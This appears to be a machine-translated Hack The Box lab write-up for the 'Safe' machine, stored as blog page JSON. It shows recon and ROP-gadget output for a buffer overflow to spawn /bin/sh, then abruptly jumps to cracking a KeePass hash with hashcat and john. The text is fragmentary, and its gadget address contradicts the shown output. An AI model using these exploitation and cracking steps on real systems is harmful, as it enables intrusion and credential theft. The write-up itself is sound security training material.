{"componentChunkName":"component---src-templates-post-template-js","path":"/hackthebox-linux-safe-en","result":{"data":{"markdownRemark":{"id":"ba79305f-9a57-52b7-8a3d-4ee7d53cbc2d","html":"
\n

This page has been machine-translated from the original page.

\n
\n

I am studying security using “Hack The Box,” a penetration testing learning platform.\nMy Hack The Box rank at the time of writing is ProHacker.

\n\n \n \n \n \n \n \n \n \n

\n

After experimenting, I noticed that inputting 120 bytes (including the newline) causes no response to be returned, indicating a BOF vulnerability.

\n

\n \n \n \n \n \n \n \n \n

\n

For a simple BOF like this, it seems I can just call the address of /bin/sh.

\n

Exploiting BOF to Get a Shell

\n

I identify the PLT of the system function needed to get a shell.

\n
$ objdump -d -M intel -j .plt myapp\n0000000000401040 <system@plt>:\n  401040:       ff 25 da 2f 00 00       jmp    QWORD PTR [rip+0x2fda]        # 404020 <system@GLIBC_2.2.5>\n  401046:       68 01 00 00 00          push   0x1\n  40104b:       e9 d0 ff ff ff          jmp    401020 <.plt>
\n

Looking in gdb gives the same address.

\n

PIE appears to be disabled so this address is fixed.

\n
$ info functions\nNon-debugging symbols:\n0x0000000000401040  system@plt\n\n$ checksec\nCANARY    : disabled\nFORTIFY   : disabled\nNX        : ENABLED\nPIE       : disabled\nRELRO     : Partial
\n

For a simple BOF, the final goal is roughly this:

\n
    \n
  1. Find a pop rdi; ret gadget
    2. \n
  2. Use BOF to put “/bin/sh” into the stack area after rip
    3. \n
  3. Put the system address in the next stack area
    4. \n
\n

Let’s get started.

\n

Since the difference between the address where the input is stored and RBP is 112 bytes, feeding 120 characters overflows rip and beyond.

\n
$ p=$(ps -ef | grep -v grep | grep myapp | awk '{print $2}'); gdb -p $p -x gdbcmd.txt\nRDI: 0x7ffc120a2160 --> 0x74736574 ('test')\nRBP: 0x7ffc120a21d0 --> 0x0
\n

Using peda’s ropgadget, I found that pop rdi; ret exists at 0x401139.

\n
$ ROPgadget --binary myapp | grep pop\n0x000000000040120b : pop rdi ; ret\n0x0000000000401209 : pop rsi ; pop r15 ; ret
\n

I got stuck a fair bit after this, but finally obtained the flag with the following steps:

\n
    \n
  1. Use ret2libc to leak the address of puts
    2. \n
  2. Use libc database search to identify the libc version
    3. \n
\n

\n \n dbhash.txt # Remove DBNAME\n\n$ hashcat -a 0 -m 13400 dbhash.txt /usr/share/wordlists/rockyou.txt\n

It took about 12 hours in the end, but there was no matching password in the rockyou wordlist.

\n
$ john --wordlist=/usr/share/wordlists/rockyou.txt dbhash.txt\n$ hashcat -m 13400 dbhash.txt -a 3 -1 ?l?d ?1?1?1?1?1?1?1?1?1?1 --increment
\n

After more research, it turned out that this approach alone wouldn’t work.

\n

Trying KeePassXC to open the KDBX, I found that a KeyFile was also required.

\n

\n \n